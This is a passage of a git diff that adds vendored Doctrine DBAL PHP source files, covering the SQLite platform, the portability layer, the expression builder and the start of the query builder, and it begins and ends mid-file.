instanceof ForeignKeyConstraint) { + $constraint = new Identifier($constraint); + } + + $constraintName = strtolower($constraint->getName()); + if (strlen($constraintName) === 0 || ! isset($foreignKeys[$constraintName])) { + continue; + } + + unset($foreignKeys[$constraintName]); + } + + foreach (array_merge($diff->getModifiedForeignKeys(), $diff->getAddedForeignKeys()) as $constraint) { + $constraintName = strtolower($constraint->getName()); + if (strlen($constraintName) > 0) { + $foreignKeys[$constraintName] = $constraint; + } else { + $foreignKeys[] = $constraint; + } + } + + return $foreignKeys; + } + + /** @return Index[] */ + private function getPrimaryIndexInAlteredTable(TableDiff $diff, Table $fromTable): array + { + $primaryIndex = []; + + foreach ($this->getIndexesInAlteredTable($diff, $fromTable) as $index) { + if (! $index->isPrimary()) { + continue; + } + + $primaryIndex = [$index->getName() => $index]; + } + + return $primaryIndex; + } + + public function createSchemaManager(Connection $connection): SqliteSchemaManager + { + return new SqliteSchemaManager($connection, $this); + } +} diff --git a/vendor/doctrine/dbal/src/Platforms/TrimMode.php b/vendor/doctrine/dbal/src/Platforms/TrimMode.php new file mode 100644 index 000000000..01356c0d3 --- /dev/null +++ b/vendor/doctrine/dbal/src/Platforms/TrimMode.php @@ -0,0 +1,21 @@ +converter = $converter; + } + + public function prepare(string $sql): DriverStatement + { + return new Statement( + parent::prepare($sql), + $this->converter, + ); + } + + public function query(string $sql): DriverResult + { + return new Result( + parent::query($sql), + $this->converter, + ); + } +} diff --git a/vendor/doctrine/dbal/src/Portability/Converter.php b/vendor/doctrine/dbal/src/Portability/Converter.php new file mode 100644 index 000000000..d0503977b --- /dev/null +++ b/vendor/doctrine/dbal/src/Portability/Converter.php @@ -0,0 +1,300 @@ +createConvertValue($convertEmptyStringToNull, $rightTrimString); + $convertNumeric = $this->createConvertRow($convertValue, null); + $convertAssociative = $this->createConvertRow($convertValue, $case); + + $this->convertNumeric = $this->createConvert($convertNumeric, [self::class, 'id']); + $this->convertAssociative = $this->createConvert($convertAssociative, [self::class, 'id']); + $this->convertOne = $this->createConvert($convertValue, [self::class, 'id']); + + $this->convertAllNumeric = $this->createConvertAll($convertNumeric, [self::class, 'id']); + $this->convertAllAssociative = $this->createConvertAll($convertAssociative, [self::class, 'id']); + $this->convertFirstColumn = $this->createConvertAll($convertValue, [self::class, 'id']); + } + + /** + * @param array|false $row + * + * @return list|false + */ + public function convertNumeric($row) + { + return ($this->convertNumeric)($row); + } + + /** + * @param array|false $row + * + * @return array|false + */ + public function convertAssociative($row) + { + return ($this->convertAssociative)($row); + } + + /** + * @param mixed|false $value + * + * @return mixed|false + */ + public function convertOne($value) + { + return ($this->convertOne)($value); + } + + /** + * @param list> $data + * + * @return list> + */ + public function convertAllNumeric(array $data): array + { + return ($this->convertAllNumeric)($data); + } + + /** + * @param list> $data + * + * @return list> + */ + public function convertAllAssociative(array $data): array + { + return ($this->convertAllAssociative)($data); + } + + /** + * @param list $data + * + * @return list + */ + public function convertFirstColumn(array $data): array + { + return ($this->convertFirstColumn)($data); + } + + /** + * @param T $value + * + * @return T + * + * @template T + */ + private static function id($value) + { + return $value; + } + + /** + * @param T $value + * + * @return T|null + * + * @template T + */ + private static function convertEmptyStringToNull($value) + { + if ($value === '') { + return null; + } + + return $value; + } + + /** + * @param T $value + * + * @return T|string + * @psalm-return (T is string ? string : T) + * + * @template T + */ + private static function rightTrimString($value) + { + if (! is_string($value)) { + return $value; + } + + return rtrim($value); + } + + /** + * Creates a function that will convert each individual value retrieved from the database + * + * @param bool $convertEmptyStringToNull Whether each empty string should be converted to NULL + * @param bool $rightTrimString Whether each string should right-trimmed + * + * @return callable|null The resulting function or NULL if no conversion is needed + */ + private function createConvertValue(bool $convertEmptyStringToNull, bool $rightTrimString): ?callable + { + $functions = []; + + if ($convertEmptyStringToNull) { + $functions[] = [self::class, 'convertEmptyStringToNull']; + } + + if ($rightTrimString) { + $functions[] = [self::class, 'rightTrimString']; + } + + return $this->compose(...$functions); + } + + /** + * Creates a function that will convert each array-row retrieved from the database + * + * @param callable|null $function The function that will convert each value + * @param self::CASE_LOWER|self::CASE_UPPER|null $case Column name case + * + * @return callable|null The resulting function or NULL if no conversion is needed + */ + private function createConvertRow(?callable $function, ?int $case): ?callable + { + $functions = []; + + if ($function !== null) { + $functions[] = $this->createMapper($function); + } + + if ($case !== null) { + $functions[] = static function (array $row) use ($case): array { + return array_change_key_case($row, $case); + }; + } + + return $this->compose(...$functions); + } + + /** + * Creates a function that will be applied to the return value of Statement::fetch*() + * or an identity function if no conversion is needed + * + * @param callable|null $function The function that will convert each tow + * @param callable $id Identity function + */ + private function createConvert(?callable $function, callable $id): callable + { + if ($function === null) { + return $id; + } + + return /** + * @param T $value + * + * @psalm-return (T is false ? false : T) + * + * @template T + */ + static function ($value) use ($function) { + if ($value === false) { + return false; + } + + return $function($value); + }; + } + + /** + * Creates a function that will be applied to the return value of Statement::fetchAll*() + * or an identity function if no transformation is required + * + * @param callable|null $function The function that will transform each value + * @param callable $id Identity function + */ + private function createConvertAll(?callable $function, callable $id): callable + { + if ($function === null) { + return $id; + } + + return $this->createMapper($function); + } + + /** + * Creates a function that maps each value of the array using the given function + * + * @param callable $function The function that maps each value of the array + */ + private function createMapper(callable $function): callable + { + return static function (array $array) use ($function): array { + return array_map($function, $array); + }; + } + + /** + * Creates a composition of the given set of functions + * + * @param callable(T):T ...$functions The functions to compose + * + * @return callable(T):T|null + * + * @template T + */ + private function compose(callable ...$functions): ?callable + { + return array_reduce($functions, static function (?callable $carry, callable $item): callable { + if ($carry === null) { + return $item; + } + + return /** + * @param T $value + * + * @return T + * + * @template T + */ + static function ($value) use ($carry, $item) { + return $item($carry($value)); + }; + }); + } +} diff --git a/vendor/doctrine/dbal/src/Portability/Driver.php b/vendor/doctrine/dbal/src/Portability/Driver.php new file mode 100644 index 000000000..a5ac9679a --- /dev/null +++ b/vendor/doctrine/dbal/src/Portability/Driver.php @@ -0,0 +1,83 @@ +mode = $mode; + $this->case = $case; + } + + /** + * {@inheritDoc} + */ + public function connect( + #[SensitiveParameter] + array $params + ) { + $connection = parent::connect($params); + + $portability = (new OptimizeFlags())( + $this->getDatabasePlatform(), + $this->mode, + ); + + $case = null; + + if ($this->case !== 0 && ($portability & Connection::PORTABILITY_FIX_CASE) !== 0) { + $nativeConnection = null; + if (method_exists($connection, 'getNativeConnection')) { + try { + $nativeConnection = $connection->getNativeConnection(); + } catch (LogicException $e) { + } + } + + if ($nativeConnection instanceof PDO) { + $portability &= ~Connection::PORTABILITY_FIX_CASE; + $nativeConnection->setAttribute( + PDO::ATTR_CASE, + $this->case === ColumnCase::LOWER ? PDO::CASE_LOWER : PDO::CASE_UPPER, + ); + } else { + $case = $this->case === ColumnCase::LOWER ? Converter::CASE_LOWER : Converter::CASE_UPPER; + } + } + + $convertEmptyStringToNull = ($portability & Connection::PORTABILITY_EMPTY_TO_NULL) !== 0; + $rightTrimString = ($portability & Connection::PORTABILITY_RTRIM) !== 0; + + if (! $convertEmptyStringToNull && ! $rightTrimString && $case === null) { + return $connection; + } + + return new Connection( + $connection, + new Converter($convertEmptyStringToNull, $rightTrimString, $case), + ); + } +} diff --git a/vendor/doctrine/dbal/src/Portability/Middleware.php b/vendor/doctrine/dbal/src/Portability/Middleware.php new file mode 100644 index 000000000..fae2c5567 --- /dev/null +++ b/vendor/doctrine/dbal/src/Portability/Middleware.php @@ -0,0 +1,38 @@ +mode = $mode; + $this->case = $case; + } + + public function wrap(DriverInterface $driver): DriverInterface + { + if ($this->mode !== 0) { + return new Driver($driver, $this->mode, $this->case); + } + + return $driver; + } +} diff --git a/vendor/doctrine/dbal/src/Portability/OptimizeFlags.php b/vendor/doctrine/dbal/src/Portability/OptimizeFlags.php new file mode 100644 index 000000000..884a936c7 --- /dev/null +++ b/vendor/doctrine/dbal/src/Portability/OptimizeFlags.php @@ -0,0 +1,42 @@ + + */ + private static array $platforms = [ + DB2Platform::class => 0, + OraclePlatform::class => Connection::PORTABILITY_EMPTY_TO_NULL, + PostgreSQLPlatform::class => 0, + SqlitePlatform::class => 0, + SQLServerPlatform::class => 0, + ]; + + public function __invoke(AbstractPlatform $platform, int $flags): int + { + foreach (self::$platforms as $class => $mask) { + if ($platform instanceof $class) { + $flags &= ~$mask; + + break; + } + } + + return $flags; + } +} diff --git a/vendor/doctrine/dbal/src/Portability/Result.php b/vendor/doctrine/dbal/src/Portability/Result.php new file mode 100644 index 000000000..da1eca985 --- /dev/null +++ b/vendor/doctrine/dbal/src/Portability/Result.php @@ -0,0 +1,81 @@ +converter = $converter; + } + + /** + * {@inheritDoc} + */ + public function fetchNumeric() + { + return $this->converter->convertNumeric( + parent::fetchNumeric(), + ); + } + + /** + * {@inheritDoc} + */ + public function fetchAssociative() + { + return $this->converter->convertAssociative( + parent::fetchAssociative(), + ); + } + + /** + * {@inheritDoc} + */ + public function fetchOne() + { + return $this->converter->convertOne( + parent::fetchOne(), + ); + } + + /** + * {@inheritDoc} + */ + public function fetchAllNumeric(): array + { + return $this->converter->convertAllNumeric( + parent::fetchAllNumeric(), + ); + } + + /** + * {@inheritDoc} + */ + public function fetchAllAssociative(): array + { + return $this->converter->convertAllAssociative( + parent::fetchAllAssociative(), + ); + } + + /** + * {@inheritDoc} + */ + public function fetchFirstColumn(): array + { + return $this->converter->convertFirstColumn( + parent::fetchFirstColumn(), + ); + } +} diff --git a/vendor/doctrine/dbal/src/Portability/Statement.php b/vendor/doctrine/dbal/src/Portability/Statement.php new file mode 100644 index 000000000..8fcd79d4a --- /dev/null +++ b/vendor/doctrine/dbal/src/Portability/Statement.php @@ -0,0 +1,36 @@ +Statement and applies portability measures. + */ + public function __construct(DriverStatement $stmt, Converter $converter) + { + parent::__construct($stmt); + + $this->converter = $converter; + } + + /** + * {@inheritDoc} + */ + public function execute($params = null): ResultInterface + { + return new Result( + parent::execute($params), + $this->converter, + ); + } +} diff --git a/vendor/doctrine/dbal/src/Query.php b/vendor/doctrine/dbal/src/Query.php new file mode 100644 index 000000000..bfc9b14e2 --- /dev/null +++ b/vendor/doctrine/dbal/src/Query.php @@ -0,0 +1,64 @@ + + */ + private array $params; + + /** + * The types of the parameters bound to the query. + * + * @var array + */ + private array $types; + + /** + * @param array $params + * @param array $types + * + * @psalm-suppress ImpurePropertyAssignment + */ + public function __construct(string $sql, array $params, array $types) + { + $this->sql = $sql; + $this->params = $params; + $this->types = $types; + } + + public function getSQL(): string + { + return $this->sql; + } + + /** @return array */ + public function getParams(): array + { + return $this->params; + } + + /** @return array */ + public function getTypes(): array + { + return $this->types; + } +} diff --git a/vendor/doctrine/dbal/src/Query/Expression/CompositeExpression.php b/vendor/doctrine/dbal/src/Query/Expression/CompositeExpression.php new file mode 100644 index 000000000..de1d929a0 --- /dev/null +++ b/vendor/doctrine/dbal/src/Query/Expression/CompositeExpression.php @@ -0,0 +1,182 @@ +type = $type; + + $this->addMultiple($parts); + + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/3864', + 'Do not use CompositeExpression constructor directly, use static and() and or() factory methods.', + ); + } + + /** + * @param self|string $part + * @param self|string ...$parts + */ + public static function and($part, ...$parts): self + { + return new self(self::TYPE_AND, array_merge([$part], $parts)); + } + + /** + * @param self|string $part + * @param self|string ...$parts + */ + public static function or($part, ...$parts): self + { + return new self(self::TYPE_OR, array_merge([$part], $parts)); + } + + /** + * Adds multiple parts to composite expression. + * + * @deprecated This class will be made immutable. Use with() instead. + * + * @param self[]|string[] $parts + * + * @return CompositeExpression + */ + public function addMultiple(array $parts = []) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3844', + 'CompositeExpression::addMultiple() is deprecated, use CompositeExpression::with() instead.', + ); + + foreach ($parts as $part) { + $this->add($part); + } + + return $this; + } + + /** + * Adds an expression to composite expression. + * + * @deprecated This class will be made immutable. Use with() instead. + * + * @param mixed $part + * + * @return CompositeExpression + */ + public function add($part) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3844', + 'CompositeExpression::add() is deprecated, use CompositeExpression::with() instead.', + ); + + if ($part === null) { + return $this; + } + + if ($part instanceof self && count($part) === 0) { + return $this; + } + + $this->parts[] = $part; + + return $this; + } + + /** + * Returns a new CompositeExpression with the given parts added. + * + * @param self|string $part + * @param self|string ...$parts + */ + public function with($part, ...$parts): self + { + $that = clone $this; + + $that->parts = array_merge($that->parts, [$part], $parts); + + return $that; + } + + /** + * Retrieves the amount of expressions on composite expression. + * + * @return int + */ + #[ReturnTypeWillChange] + public function count() + { + return count($this->parts); + } + + /** + * Retrieves the string representation of this composite expression. + * + * @return string + */ + public function __toString() + { + if ($this->count() === 1) { + return (string) $this->parts[0]; + } + + return '(' . implode(') ' . $this->type . ' (', $this->parts) . ')'; + } + + /** + * Returns the type of this composite expression (AND/OR). + * + * @return string + */ + public function getType() + { + return $this->type; + } +} diff --git a/vendor/doctrine/dbal/src/Query/Expression/ExpressionBuilder.php b/vendor/doctrine/dbal/src/Query/Expression/ExpressionBuilder.php new file mode 100644 index 000000000..d532b2894 --- /dev/null +++ b/vendor/doctrine/dbal/src/Query/Expression/ExpressionBuilder.php @@ -0,0 +1,323 @@ +'; + public const LT = '<'; + public const LTE = '<='; + public const GT = '>'; + public const GTE = '>='; + + /** + * The DBAL Connection. + */ + private Connection $connection; + + /** + * Initializes a new ExpressionBuilder. + * + * @param Connection $connection The DBAL Connection. + */ + public function __construct(Connection $connection) + { + $this->connection = $connection; + } + + /** + * Creates a conjunction of the given expressions. + * + * @param string|CompositeExpression $expression + * @param string|CompositeExpression ...$expressions + */ + public function and($expression, ...$expressions): CompositeExpression + { + return CompositeExpression::and($expression, ...$expressions); + } + + /** + * Creates a disjunction of the given expressions. + * + * @param string|CompositeExpression $expression + * @param string|CompositeExpression ...$expressions + */ + public function or($expression, ...$expressions): CompositeExpression + { + return CompositeExpression::or($expression, ...$expressions); + } + + /** + * @deprecated Use `and()` instead. + * + * @param mixed $x Optional clause. Defaults = null, but requires + * at least one defined when converting to string. + * + * @return CompositeExpression + */ + public function andX($x = null) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/3851', + 'ExpressionBuilder::andX() is deprecated, use ExpressionBuilder::and() instead.', + ); + + return new CompositeExpression(CompositeExpression::TYPE_AND, func_get_args()); + } + + /** + * @deprecated Use `or()` instead. + * + * @param mixed $x Optional clause. Defaults = null, but requires + * at least one defined when converting to string. + * + * @return CompositeExpression + */ + public function orX($x = null) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/3851', + 'ExpressionBuilder::orX() is deprecated, use ExpressionBuilder::or() instead.', + ); + + return new CompositeExpression(CompositeExpression::TYPE_OR, func_get_args()); + } + + /** + * Creates a comparison expression. + * + * @param mixed $x The left expression. + * @param string $operator One of the ExpressionBuilder::* constants. + * @param mixed $y The right expression. + * + * @return string + */ + public function comparison($x, $operator, $y) + { + return $x . ' ' . $operator . ' ' . $y; + } + + /** + * Creates an equality comparison expression with the given arguments. + * + * First argument is considered the left expression and the second is the right expression. + * When converted to string, it will generated a = . Example: + * + * [php] + * // u.id = ? + * $expr->eq('u.id', '?'); + * + * @param mixed $x The left expression. + * @param mixed $y The right expression. + * + * @return string + */ + public function eq($x, $y) + { + return $this->comparison($x, self::EQ, $y); + } + + /** + * Creates a non equality comparison expression with the given arguments. + * First argument is considered the left expression and the second is the right expression. + * When converted to string, it will generated a <> . Example: + * + * [php] + * // u.id <> 1 + * $q->where($q->expr()->neq('u.id', '1')); + * + * @param mixed $x The left expression. + * @param mixed $y The right expression. + * + * @return string + */ + public function neq($x, $y) + { + return $this->comparison($x, self::NEQ, $y); + } + + /** + * Creates a lower-than comparison expression with the given arguments. + * First argument is considered the left expression and the second is the right expression. + * When converted to string, it will generated a < . Example: + * + * [php] + * // u.id < ? + * $q->where($q->expr()->lt('u.id', '?')); + * + * @param mixed $x The left expression. + * @param mixed $y The right expression. + * + * @return string + */ + public function lt($x, $y) + { + return $this->comparison($x, self::LT, $y); + } + + /** + * Creates a lower-than-equal comparison expression with the given arguments. + * First argument is considered the left expression and the second is the right expression. + * When converted to string, it will generated a <= . Example: + * + * [php] + * // u.id <= ? + * $q->where($q->expr()->lte('u.id', '?')); + * + * @param mixed $x The left expression. + * @param mixed $y The right expression. + * + * @return string + */ + public function lte($x, $y) + { + return $this->comparison($x, self::LTE, $y); + } + + /** + * Creates a greater-than comparison expression with the given arguments. + * First argument is considered the left expression and the second is the right expression. + * When converted to string, it will generated a > . Example: + * + * [php] + * // u.id > ? + * $q->where($q->expr()->gt('u.id', '?')); + * + * @param mixed $x The left expression. + * @param mixed $y The right expression. + * + * @return string + */ + public function gt($x, $y) + { + return $this->comparison($x, self::GT, $y); + } + + /** + * Creates a greater-than-equal comparison expression with the given arguments. + * First argument is considered the left expression and the second is the right expression. + * When converted to string, it will generated a >= . Example: + * + * [php] + * // u.id >= ? + * $q->where($q->expr()->gte('u.id', '?')); + * + * @param mixed $x The left expression. + * @param mixed $y The right expression. + * + * @return string + */ + public function gte($x, $y) + { + return $this->comparison($x, self::GTE, $y); + } + + /** + * Creates an IS NULL expression with the given arguments. + * + * @param string $x The expression to be restricted by IS NULL. + * + * @return string + */ + public function isNull($x) + { + return $x . ' IS NULL'; + } + + /** + * Creates an IS NOT NULL expression with the given arguments. + * + * @param string $x The expression to be restricted by IS NOT NULL. + * + * @return string + */ + public function isNotNull($x) + { + return $x . ' IS NOT NULL'; + } + + /** + * Creates a LIKE() comparison expression with the given arguments. + * + * @param string $x The expression to be inspected by the LIKE comparison + * @param mixed $y The pattern to compare against + * + * @return string + */ + public function like($x, $y/*, ?string $escapeChar = null */) + { + return $this->comparison($x, 'LIKE', $y) . + (func_num_args() >= 3 ? sprintf(' ESCAPE %s', func_get_arg(2)) : ''); + } + + /** + * Creates a NOT LIKE() comparison expression with the given arguments. + * + * @param string $x The expression to be inspected by the NOT LIKE comparison + * @param mixed $y The pattern to compare against + * + * @return string + */ + public function notLike($x, $y/*, ?string $escapeChar = null */) + { + return $this->comparison($x, 'NOT LIKE', $y) . + (func_num_args() >= 3 ? sprintf(' ESCAPE %s', func_get_arg(2)) : ''); + } + + /** + * Creates an IN () comparison expression with the given arguments. + * + * @param string $x The SQL expression to be matched against the set. + * @param string|string[] $y The SQL expression or an array of SQL expressions representing the set. + * + * @return string + */ + public function in($x, $y) + { + return $this->comparison($x, 'IN', '(' . implode(', ', (array) $y) . ')'); + } + + /** + * Creates a NOT IN () comparison expression with the given arguments. + * + * @param string $x The SQL expression to be matched against the set. + * @param string|string[] $y The SQL expression or an array of SQL expressions representing the set. + * + * @return string + */ + public function notIn($x, $y) + { + return $this->comparison($x, 'NOT IN', '(' . implode(', ', (array) $y) . ')'); + } + + /** + * Builds an SQL literal from a given input parameter. + * + * The usage of this method is discouraged. Use prepared statements + * or {@see AbstractPlatform::quoteStringLiteral()} instead. + * + * @param mixed $input The parameter to be quoted. + * @param int|null $type The type of the parameter. + * + * @return string + */ + public function literal($input, $type = null) + { + return $this->connection->quote($input, $type); + } +} diff --git a/vendor/doctrine/dbal/src/Query/QueryBuilder.php b/vendor/doctrine/dbal/src/Query/QueryBuilder.php new file mode 100644 index 000000000..ba76fdf93 --- /dev/null +++ b/vendor/doctrine/dbal/src/Query/QueryBuilder.php @@ -0,0 +1,1626 @@ + [], + 'distinct' => false, + 'from' => [], + 'join' => [], + 'set' => [], + 'where' => null, + 'groupBy' => [], + 'having' => null, + 'orderBy' => [], + 'values' => [], + ]; + + /** + * The array of SQL parts collected. + * + * @var mixed[] + */ + private array $sqlParts = self::SQL_PARTS_DEFAULTS; + + /** + * The complete SQL string for this query. + */ + private ?string $sql = null; + + /** + * The query parameters. + * + * @var list|array + */ + private $params = []; + + /** + * The parameter type map of this query. + * + * @var array|array + */ + private array $paramTypes = []; + + /** + * The type of query this is. Can be select, update or delete. + * + * @psalm-var self::SELECT|self::DELETE|self::UPDATE|self::INSERT + */ + private int $type = self::SELECT; + + /** + * The state of the query object. Can be dirty or clean. + * + * @psalm-var self::STATE_* + */ + private int $state = self::STATE_CLEAN; + + /** + * The index of the first result to retrieve. + */ + private int $firstResult = 0; + + /** + * The maximum number of results to retrieve or NULL to retrieve all results. + */ + private ?int $maxResults = null; + + /** + * The counter of bound parameters used with {@see bindValue). + */ + private int $boundCounter = 0; + + /** + * The query cache profile used for caching results. + */ + private ?QueryCacheProfile $resultCacheProfile = null; + + /** + * Initializes a new QueryBuilder. + * + * @param Connection $connection The DBAL Connection. + */ + public function __construct(Connection $connection) + { + $this->connection = $connection; + } + + /** + * Gets an ExpressionBuilder used for object-oriented construction of query expressions. + * This producer method is intended for convenient inline usage. Example: + * + * + * $qb = $conn->createQueryBuilder() + * ->select('u') + * ->from('users', 'u') + * ->where($qb->expr()->eq('u.id', 1)); + * + * + * For more complex expression construction, consider storing the expression + * builder object in a local variable. + * + * @return ExpressionBuilder + */ + public function expr() + { + return $this->connection->getExpressionBuilder(); + } + + /** + * Gets the type of the currently built query. + * + * @deprecated If necessary, track the type of the query being built outside of the builder. + * + * @return int + */ + public function getType() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5551', + 'Relying on the type of the query being built is deprecated.' + . ' If necessary, track the type of the query being built outside of the builder.', + ); + + return $this->type; + } + + /** + * Gets the associated DBAL Connection for this query builder. + * + * @deprecated Use the connection used to instantiate the builder instead. + * + * @return Connection + */ + public function getConnection() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5780', + '%s is deprecated. Use the connection used to instantiate the builder instead.', + __METHOD__, + ); + + return $this->connection; + } + + /** + * Gets the state of this query builder instance. + * + * @deprecated The builder state is an internal concern. + * + * @return int Either QueryBuilder::STATE_DIRTY or QueryBuilder::STATE_CLEAN. + * @psalm-return self::STATE_* + */ + public function getState() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5551', + 'Relying on the query builder state is deprecated as it is an internal concern.', + ); + + return $this->state; + } + + /** + * Prepares and executes an SQL query and returns the first row of the result + * as an associative array. + * + * @return array|false False is returned if no rows are found. + * + * @throws Exception + */ + public function fetchAssociative() + { + return $this->executeQuery()->fetchAssociative(); + } + + /** + * Prepares and executes an SQL query and returns the first row of the result + * as a numerically indexed array. + * + * @return array|false False is returned if no rows are found. + * + * @throws Exception + */ + public function fetchNumeric() + { + return $this->executeQuery()->fetchNumeric(); + } + + /** + * Prepares and executes an SQL query and returns the value of a single column + * of the first row of the result. + * + * @return mixed|false False is returned if no rows are found. + * + * @throws Exception + */ + public function fetchOne() + { + return $this->executeQuery()->fetchOne(); + } + + /** + * Prepares and executes an SQL query and returns the result as an array of numeric arrays. + * + * @return array> + * + * @throws Exception + */ + public function fetchAllNumeric(): array + { + return $this->executeQuery()->fetchAllNumeric(); + } + + /** + * Prepares and executes an SQL query and returns the result as an array of associative arrays. + * + * @return array> + * + * @throws Exception + */ + public function fetchAllAssociative(): array + { + return $this->executeQuery()->fetchAllAssociative(); + } + + /** + * Prepares and executes an SQL query and returns the result as an associative array with the keys + * mapped to the first column and the values mapped to the second column. + * + * @return array + * + * @throws Exception + */ + public function fetchAllKeyValue(): array + { + return $this->executeQuery()->fetchAllKeyValue(); + } + + /** + * Prepares and executes an SQL query and returns the result as an associative array with the keys mapped + * to the first column and the values being an associative array representing the rest of the columns + * and their values. + * + * @return array> + * + * @throws Exception + */ + public function fetchAllAssociativeIndexed(): array + { + return $this->executeQuery()->fetchAllAssociativeIndexed(); + } + + /** + * Prepares and executes an SQL query and returns the result as an array of the first column values. + * + * @return array + * + * @throws Exception + */ + public function fetchFirstColumn(): array + { + return $this->executeQuery()->fetchFirstColumn(); + } + + /** + * Executes an SQL query (SELECT) and returns a Result. + * + * @throws Exception + */ + public function executeQuery(): Result + { + return $this->connection->executeQuery( + $this->getSQL(), + $this->params, + $this->paramTypes, + $this->resultCacheProfile, + ); + } + + /** + * Executes an SQL statement and returns the number of affected rows. + * + * Should be used for INSERT, UPDATE and DELETE + * + * @return int The number of affected rows. + * + * @throws Exception + */ + public function executeStatement(): int + { + return $this->connection->executeStatement($this->getSQL(), $this->params, $this->paramTypes); + } + + /** + * Executes this query using the bound parameters and their types. + * + * @deprecated Use {@see executeQuery()} or {@see executeStatement()} instead. + * + * @return Result|int|string + * + * @throws Exception + */ + public function execute() + { + if ($this->type === self::SELECT) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4578', + 'QueryBuilder::execute() is deprecated, use QueryBuilder::executeQuery() for SQL queries instead.', + ); + + return $this->executeQuery(); + } + + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4578', + 'QueryBuilder::execute() is deprecated, use QueryBuilder::executeStatement() for SQL statements instead.', + ); + + return $this->connection->executeStatement($this->getSQL(), $this->params, $this->paramTypes); + } + + /** + * Gets the complete SQL string formed by the current specifications of this QueryBuilder. + * + * + * $qb = $em->createQueryBuilder() + * ->select('u') + * ->from('User', 'u') + * echo $qb->getSQL(); // SELECT u FROM User u + * + * + * @return string The SQL query string. + */ + public function getSQL() + { + if ($this->sql !== null && $this->state === self::STATE_CLEAN) { + return $this->sql; + } + + switch ($this->type) { + case self::INSERT: + $sql = $this->getSQLForInsert(); + break; + + case self::DELETE: + $sql = $this->getSQLForDelete(); + break; + + case self::UPDATE: + $sql = $this->getSQLForUpdate(); + break; + + case self::SELECT: + $sql = $this->getSQLForSelect(); + break; + } + + $this->state = self::STATE_CLEAN; + $this->sql = $sql; + + return $sql; + } + + /** + * Sets a query parameter for the query being constructed. + * + * + * $qb = $conn->createQueryBuilder() + * ->select('u') + * ->from('users', 'u') + * ->where('u.id = :user_id') + * ->setParameter('user_id', 1); + * + * + * @param int|string $key Parameter position or name + * @param mixed $value Parameter value + * @param int|string|Type|null $type Parameter type + * + * @return $this This QueryBuilder instance. + */ + public function setParameter($key, $value, $type = ParameterType::STRING) + { + if ($type !== null) { + $this->paramTypes[$key] = $type; + } else { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5550', + 'Using NULL as prepared statement parameter type is deprecated.' + . 'Omit or use Parameter::STRING instead', + ); + } + + $this->params[$key] = $value; + + return $this; + } + + /** + * Sets a collection of query parameters for the query being constructed. + * + * + * $qb = $conn->createQueryBuilder() + * ->select('u') + * ->from('users', 'u') + * ->where('u.id = :user_id1 OR u.id = :user_id2') + * ->setParameters(array( + * 'user_id1' => 1, + * 'user_id2' => 2 + * )); + * + * + * @param list|array $params Parameters to set + * @param array|array $types Parameter types + * + * @return $this This QueryBuilder instance. + */ + public function setParameters(array $params, array $types = []) + { + $this->paramTypes = $types; + $this->params = $params; + + return $this; + } + + /** + * Gets all defined query parameters for the query being constructed indexed by parameter index or name. + * + * @return list|array The currently defined query parameters + */ + public function getParameters() + { + return $this->params; + } + + /** + * Gets a (previously set) query parameter of the query being constructed. + * + * @param mixed $key The key (index or name) of the bound parameter. + * + * @return mixed The value of the bound parameter. + */ + public function getParameter($key) + { + return $this->params[$key] ?? null; + } + + /** + * Gets all defined query parameter types for the query being constructed indexed by parameter index or name. + * + * @return array|array The currently defined + * query parameter types + */ + public function getParameterTypes() + { + return $this->paramTypes; + } + + /** + * Gets a (previously set) query parameter type of the query being constructed. + * + * @param int|string $key The key of the bound parameter type + * + * @return int|string|Type The value of the bound parameter type + */ + public function getParameterType($key) + { + return $this->paramTypes[$key] ?? ParameterType::STRING; + } + + /** + * Sets the position of the first result to retrieve (the "offset"). + * + * @param int $firstResult The first result to return. + * + * @return $this This QueryBuilder instance. + */ + public function setFirstResult($firstResult) + { + $this->state = self::STATE_DIRTY; + $this->firstResult = $firstResult; + + return $this; + } + + /** + * Gets the position of the first result the query object was set to retrieve (the "offset"). + * + * @return int The position of the first result. + */ + public function getFirstResult() + { + return $this->firstResult; + } + + /** + * Sets the maximum number of results to retrieve (the "limit"). + * + * @param int|null $maxResults The maximum number of results to retrieve or NULL to retrieve all results. + * + * @return $this This QueryBuilder instance. + */ + public function setMaxResults($maxResults) + { + $this->state = self::STATE_DIRTY; + $this->maxResults = $maxResults; + + return $this; + } + + /** + * Gets the maximum number of results the query object was set to retrieve (the "limit"). + * Returns NULL if all results will be returned. + * + * @return int|null The maximum number of results. + */ + public function getMaxResults() + { + return $this->maxResults; + } + + /** + * Either appends to or replaces a single, generic query part. + * + * The available parts are: 'select', 'from', 'set', 'where', + * 'groupBy', 'having' and 'orderBy'. + * + * @param string $sqlPartName + * @param mixed $sqlPart + * @param bool $append + * + * @return $this This QueryBuilder instance. + */ + public function add($sqlPartName, $sqlPart, $append = false) + { + $isArray = is_array($sqlPart); + $isMultiple = is_array($this->sqlParts[$sqlPartName]); + + if ($isMultiple && ! $isArray) { + $sqlPart = [$sqlPart]; + } + + $this->state = self::STATE_DIRTY; + + if ($append) { + if ( + $sqlPartName === 'orderBy' + || $sqlPartName === 'groupBy' + || $sqlPartName === 'select' + || $sqlPartName === 'set' + ) { + foreach ($sqlPart as $part) { + $this->sqlParts[$sqlPartName][] = $part; + } + } elseif ($isArray && is_array($sqlPart[key($sqlPart)])) { + $key = key($sqlPart); + $this->sqlParts[$sqlPartName][$key][] = $sqlPart[$key]; + } elseif ($isMultiple) { + $this->sqlParts[$sqlPartName][] = $sqlPart; + } else { + $this->sqlParts[$sqlPartName] = $sqlPart; + } + + return $this; + } + + $this->sqlParts[$sqlPartName] = $sqlPart; + + return $this; + } + + /** + * Specifies an item that is to be returned in the query result. + * Replaces any previously specified selections, if 